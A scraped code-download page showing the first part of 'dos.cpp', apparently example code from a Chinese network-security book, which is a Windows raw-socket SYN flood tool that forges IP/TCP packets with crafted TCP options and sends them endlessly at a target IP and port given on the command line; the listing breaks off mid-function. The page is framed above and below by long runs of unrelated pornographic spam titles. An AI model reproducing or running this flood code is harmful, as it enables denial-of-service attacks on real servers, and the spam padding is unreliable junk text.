亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dos.cpp

?? “網絡安全技術實踐與代碼詳解”實例代碼
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
/*****************************/
/* Thanks to Author LionD8   */
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "wchar.h"

#pragma comment(lib, "ws2_32.lib")

#define SIO_RCVALL      _WSAIOW(IOC_VENDOR,1)

char*    TargetIP; // 目標機IP
USHORT    TargetPort; // 目標端口
USHORT    StartPort = 1; // 起始端口
int        Interval; // 發包時間間隔
UCHAR* outflowbuf = NULL;    //  選項字節
char* psend = NULL; // 偽造數據
DWORD len = 0; // 偽造數據長度
USHORT optlen= 0; // 選項字節長度

// 定義IP首部格式
typedef struct _IPHeader      
{ 
    unsigned char h_verlen;    // 版本和首部長度  
    unsigned char tos;         // 服務類型       
    unsigned short total_len;  // 總長度 
    unsigned short ident;      // 標識號     
    unsigned short frag_and_flags;  // 段偏移量
    unsigned char ttl;         // 生存時間       
    unsigned char proto;       // 協議   
    unsigned short checksum;   // 首部校驗和
    unsigned int sourceIP;     // 源IP地址  
    unsigned int destIP;       // 目的地址   
}IPHEADER;

// 定義TCP首部格式
typedef struct _TCPHeader 
{ 
    USHORT th_sport;  // 源端口號        
    USHORT th_dport;  // 目的端口號       
    unsigned int th_seq;  // SEQ序號    
    unsigned int th_ack;  // ACK序號
    unsigned char th_lenres;  //  首部長度    
    unsigned char th_flag;   // 控制位  
    USHORT th_win;  // 窗口大小        
    USHORT th_sum;  // 校驗和        
    USHORT th_urp;  // 緊急指針         
}TCPHEADER; 

// 定義偽首部格式
typedef struct _PSDHeader
{ 
    unsigned long saddr;  // 源地址  
    unsigned long daddr;  // 目的地址 
    char mbz; 
    char ptcl;            // 協議類型   
    unsigned short tcpl;  // TCP長度
}PSDHEADER;

// 定義攻擊目標結構
typedef struct _AttackObj
{
    DWORD    dwIP; // 目標機IP
    USHORT    uAttackPort[11]; // 目標機端口 
    struct _AttackObj*    Next; 
}ATOBJ;


ATOBJ*    ListAttackObj=0;
// 初始化原始套接字
BOOL    InitRawSocket();
// 獲取本地IP地址
DWORD    GetLocalIP();
// 計算校驗和
USHORT    checksum(USHORT *buffer, int size);
// 發送SYN洪水攻擊
DWORD    WINAPI  SYNThreadFlood(LPVOID lp);
// 發送數據
void    SendData(DWORD SEQ, DWORD ACK, 
				 USHORT SPort, USHORT APort, 
				 DWORD SIP, DWORD AIP, char* pBuf,
				 BOOL Isdata,DWORD dwSize);
// 監聽端口功能
DWORD   WINAPI  ListeningFunc(LPVOID lpvoid);
// 轉換成選項字節
void ConvertOpt (CHAR* pu);

SOCKET sock = NULL;

int main(int argc, char* argv[])
{
    psend = (char*)malloc(800);
    memset(psend,0x38,799);
    psend[799] = 0;
    len = strlen(psend);
    if ( argc < 3)
    {
        printf("input error!\n");
        return -1;
    }
	// 獲取目標機IP
    TargetIP = strdup(argv[1]);
    TargetPort = atoi(argv[2]);
    // 定義攻擊字符串
    
    if ( argc == 3)
        Interval = 100; // 默認發包間隔
    if ( argc == 4)
    {   // 獲取發包間隔參數
        Interval = atoi(argv[3]);
    }
	CHAR* optbuftemp = "020405B401010402";    
    ConvertOpt (optbuftemp); // 轉換溢出字符串
    outflowbuf[3]-=1;
    char HostName[255]={0};
	// 初始化原始套接字
    if ( InitRawSocket() == FALSE )
        return -1;
    if ( outflowbuf != NULL)
    {
        int i=0;
        struct hostent* lp = NULL;
        
        gethostname(HostName,255);
        lp = gethostbyname (HostName);
        while ( lp->h_addr_list[i] != NULL )
        {
            HANDLE    h=NULL;
            DWORD    dwIP=0;    
            dwIP = *(DWORD*)lp->h_addr_list[i++];
			// 創建監聽線程
            h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);            
            if ( h == NULL )
            {
                printf("Create ListeningFunc Thread Failed!\n");
                return -1;
            }
            Sleep(500);
        }
		    // 發起SYN洪水攻擊
            SYNThreadFlood(NULL);
    }
    else return -1;
    // 無限發包開始
    Sleep(INFINITE);

}

// 初始化原始套接字
BOOL InitRawSocket()
{
    BOOL flag;
    int  nTimeOver;
    WSADATA WSAData; 
	// 初始化Winsock庫
    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
    { 
        printf("WSAStartup Error!\n");
        return FALSE;
    }
	// 設計攻擊目標相關參數
    ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
    ListAttackObj->dwIP = inet_addr( TargetIP );
    ListAttackObj->uAttackPort[0] = htons(TargetPort);
    ListAttackObj->uAttackPort[1] = 0;
    ListAttackObj->Next=NULL;
    sock=NULL;
	// 創建原始套接字
    if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
    {
        printf("Socket Create Failed:%d\n",WSAGetLastError());
        return FALSE;
    }
    flag=true; 
	// 設置套接字參數
    if (setsockopt(sock,IPPROTO_IP, 
		IP_HDRINCL,(char *)&flag,
		sizeof(flag))==SOCKET_ERROR) 
    { 
        printf("setsockopt IP_HDRINCL failed:%d\n",WSAGetLastError());
        return FALSE; 
    } 
    nTimeOver=2000;
	// 設置發送的時間
    if (setsockopt(sock, SOL_SOCKET, 
		SO_SNDTIMEO, (char*)&nTimeOver, 
		sizeof(nTimeOver))==SOCKET_ERROR)                                
    {
        printf("setsockopt SO_SNDTIMEO failed:%d\n",WSAGetLastError());
        return FALSE; 
    }    
    return TRUE;
}
// SYN洪水攻擊線程函數
DWORD  WINAPI  SYNThreadFlood(LPVOID lp)
{
    ATOBJ* pAtObj = ListAttackObj;
    SOCKADDR_IN addr_in;
    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    char szSendBuf[1024]={0};
    int i=0;
	
    while (  pAtObj != NULL )
    {
		// 開始填充IP包和TCP包
        addr_in.sin_family=AF_INET;
        addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
        ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
        ipHeader.tos=0;
        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);
        ipHeader.ident=1;
        ipHeader.frag_and_flags=0x0040;                
        ipHeader.ttl=0x80;
		// 設置數據包為TCP包
        ipHeader.proto=IPPROTO_TCP;
        ipHeader.checksum=0;
        ipHeader.destIP=pAtObj->dwIP;
		// 設置源地址為本機IP地址
        ipHeader.sourceIP = GetLocalIP();
        tcpHeader.th_ack=0;    
        tcpHeader.th_lenres = (optlen/4+5)<<4;
        tcpHeader.th_flag=2;             
        tcpHeader.th_win=htons(0x4470);
        tcpHeader.th_urp=0;
        tcpHeader.th_seq=htonl(0x00198288);
        for ( int l=StartPort; l<65535;l++)
        {
            int k =0;
            while ( pAtObj->uAttackPort[k] != 0 )
            {
				// 開始偽造數據包
                tcpHeader.th_dport=pAtObj->uAttackPort[k++];
                psdHeader.daddr=ipHeader.destIP;
                psdHeader.mbz=0;
                psdHeader.ptcl=IPPROTO_TCP;
                psdHeader.tcpl=htons(sizeof(tcpHeader));
                int sendnum = 0;            
                int optlentemp = optlen;
                tcpHeader.th_sport=htons(l);
                tcpHeader.th_sum=0;
                psdHeader.saddr=ipHeader.sourceIP;
				// 復制數據段
                memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
                memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 重新計算校驗和
                tcpHeader.th_sum=checksum((USHORT *)szSendBuf,
					sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp); 
                tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);        
                memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
                memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
                memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),outflowbuf,optlentemp);
				// 開始向目標機發送SYN數據包
                int rect=sendto(sock, szSendBuf, 
					sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 
					0, (struct sockaddr*)&addr_in, sizeof(addr_in));
                if ( sendnum++ > 10 )

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人一级视频在线观看| 欧美中文字幕一区| 欧洲精品一区二区三区在线观看| 69精品人人人人| 亚洲欧洲99久久| 黄页视频在线91| 欧美综合天天夜夜久久| 国产日产精品一区| 男人的天堂亚洲一区| 成人高清免费观看| 精品999久久久| 亚洲成人精品一区| 99riav久久精品riav| 久久久国产午夜精品 | 国产精品丝袜久久久久久app| 亚洲国产va精品久久久不卡综合| 风间由美中文字幕在线看视频国产欧美 | 99re66热这里只有精品3直播 | 国产精品国产精品国产专区不片| 日本不卡视频在线| 欧美揉bbbbb揉bbbbb| 亚洲三级久久久| www.日本不卡| 国产精品欧美极品| 国产成人在线免费观看| 26uuu精品一区二区在线观看| 亚洲r级在线视频| 在线观看91视频| 亚洲综合激情另类小说区| av电影一区二区| 综合在线观看色| 一本色道久久加勒比精品| 国产精品美女一区二区三区| 成人性视频网站| 日韩一区在线看| 92精品国产成人观看免费| 国产精品久久久久久久久动漫| 从欧美一区二区三区| 亚洲国产成人午夜在线一区| 成人在线视频一区二区| 久久精品欧美一区二区三区麻豆| 国产高清不卡二三区| 欧美韩日一区二区三区四区| 大尺度一区二区| 亚洲人亚洲人成电影网站色| 色狠狠综合天天综合综合| 亚洲最新视频在线观看| 欧美日韩一区二区在线视频| 青椒成人免费视频| 久久久www免费人成精品| 成人免费视频视频在线观看免费| 成人欧美一区二区三区小说| 色94色欧美sute亚洲线路二| 五月婷婷综合网| 日韩一区二区三区电影在线观看| 国产一区二区视频在线| 国产精品久久久久久久久久久免费看| 91麻豆国产在线观看| 午夜精品福利在线| 久久久国产精品午夜一区ai换脸| youjizz久久| 亚洲18女电影在线观看| 欧美成人a∨高清免费观看| 成人激情小说乱人伦| 亚洲综合免费观看高清在线观看 | 91免费看视频| 久久国产精品72免费观看| 国产欧美日产一区| 欧美午夜电影网| 国产成人一区在线| 亚洲一区二区三区爽爽爽爽爽| 日韩午夜三级在线| 91免费在线播放| 国产一区二区精品久久| 亚洲最色的网站| 久久综合狠狠综合久久综合88 | 亚洲国产aⅴ成人精品无吗| 26uuu精品一区二区在线观看| 国产亚洲欧美激情| 欧美日韩成人在线一区| 成人午夜免费视频| 奇米精品一区二区三区四区| 亚洲天天做日日做天天谢日日欢 | 在线播放国产精品二区一二区四区| 国产精品一级在线| 天堂在线亚洲视频| 国产精品久久久久久久午夜片| 日韩一区二区视频在线观看| 91麻豆福利精品推荐| 毛片av一区二区三区| 一区二区日韩电影| 国产精品国产三级国产aⅴ入口 | 欧美自拍偷拍一区| 成人精品视频一区二区三区| 日本中文字幕一区二区有限公司| 亚洲免费观看高清完整版在线观看熊| 精品久久久网站| 欧美一区二区三区思思人| 欧美影院精品一区| 一本大道久久a久久综合婷婷| 国产精品亚洲成人| 久久 天天综合| 青青青爽久久午夜综合久久午夜 | 国产一区高清在线| 麻豆91在线观看| 日韩高清不卡在线| 天天操天天色综合| 一区二区免费看| 亚洲另类在线一区| 依依成人精品视频| 亚洲激情在线播放| 一区在线中文字幕| 一区在线观看视频| 亚洲黄色尤物视频| 亚洲一区二区在线免费观看视频| 亚洲女爱视频在线| 一区二区三区高清不卡| 亚洲最大的成人av| 亚洲gay无套男同| 午夜一区二区三区在线观看| 亚洲大片精品永久免费| 天堂精品中文字幕在线| 奇米一区二区三区| 国产在线视频精品一区| 国产尤物一区二区| 高清久久久久久| 91在线云播放| 欧美日韩视频第一区| 日韩欧美激情一区| 久久先锋影音av鲁色资源网| 久久精品在这里| 亚洲美女淫视频| 亚洲亚洲精品在线观看| 免费在线欧美视频| 国产精品123| 欧美成va人片在线观看| 26uuu国产一区二区三区| 欧美国产欧美亚州国产日韩mv天天看完整| 国产亚洲一区二区在线观看| 国产精品麻豆网站| 一区二区三区成人在线视频| 日本网站在线观看一区二区三区 | 欧美日韩aaaaaa| 精品国产乱码91久久久久久网站| 久久一区二区视频| 成人欧美一区二区三区白人| 亚洲国产aⅴ天堂久久| 老司机午夜精品99久久| aaa欧美色吧激情视频| 欧美老肥妇做.爰bbww视频| 精品久久久三级丝袜| 亚洲人快播电影网| 麻豆91精品视频| 波多野结衣亚洲一区| 制服丝袜在线91| 国产精品传媒在线| 美女国产一区二区三区| 成人免费视频免费观看| 欧美精品视频www在线观看 | 精品裸体舞一区二区三区| 中文字幕一区免费在线观看 | 成人av在线资源网站| 欧美性色欧美a在线播放| 久久综合中文字幕| 亚洲电影一区二区| 国产91丝袜在线18| 欧美一卡在线观看| 亚洲美女屁股眼交| 国产精品性做久久久久久| 欧美日韩国产综合一区二区| 国产精品免费aⅴ片在线观看| 日韩精品1区2区3区| 97精品国产露脸对白| 2欧美一区二区三区在线观看视频| 亚洲国产aⅴ天堂久久| av激情成人网| 国产肉丝袜一区二区| 人人超碰91尤物精品国产| 在线免费精品视频| 一区在线观看免费| 大胆欧美人体老妇| 久久久久久亚洲综合影院红桃 | 欧美三级视频在线| 亚洲男同性视频| 北岛玲一区二区三区四区| 久久久国产一区二区三区四区小说| 亚洲国产精品天堂| 色婷婷综合久色| 国产精品色在线观看| 国产99久久久国产精品潘金 | 高清国产午夜精品久久久久久| 欧美一区二区三区的| 亚洲五码中文字幕| 欧美专区亚洲专区| 亚洲一区视频在线观看视频| 91亚洲午夜精品久久久久久| 1000精品久久久久久久久| av网站免费线看精品| 欧美经典一区二区| www.欧美.com|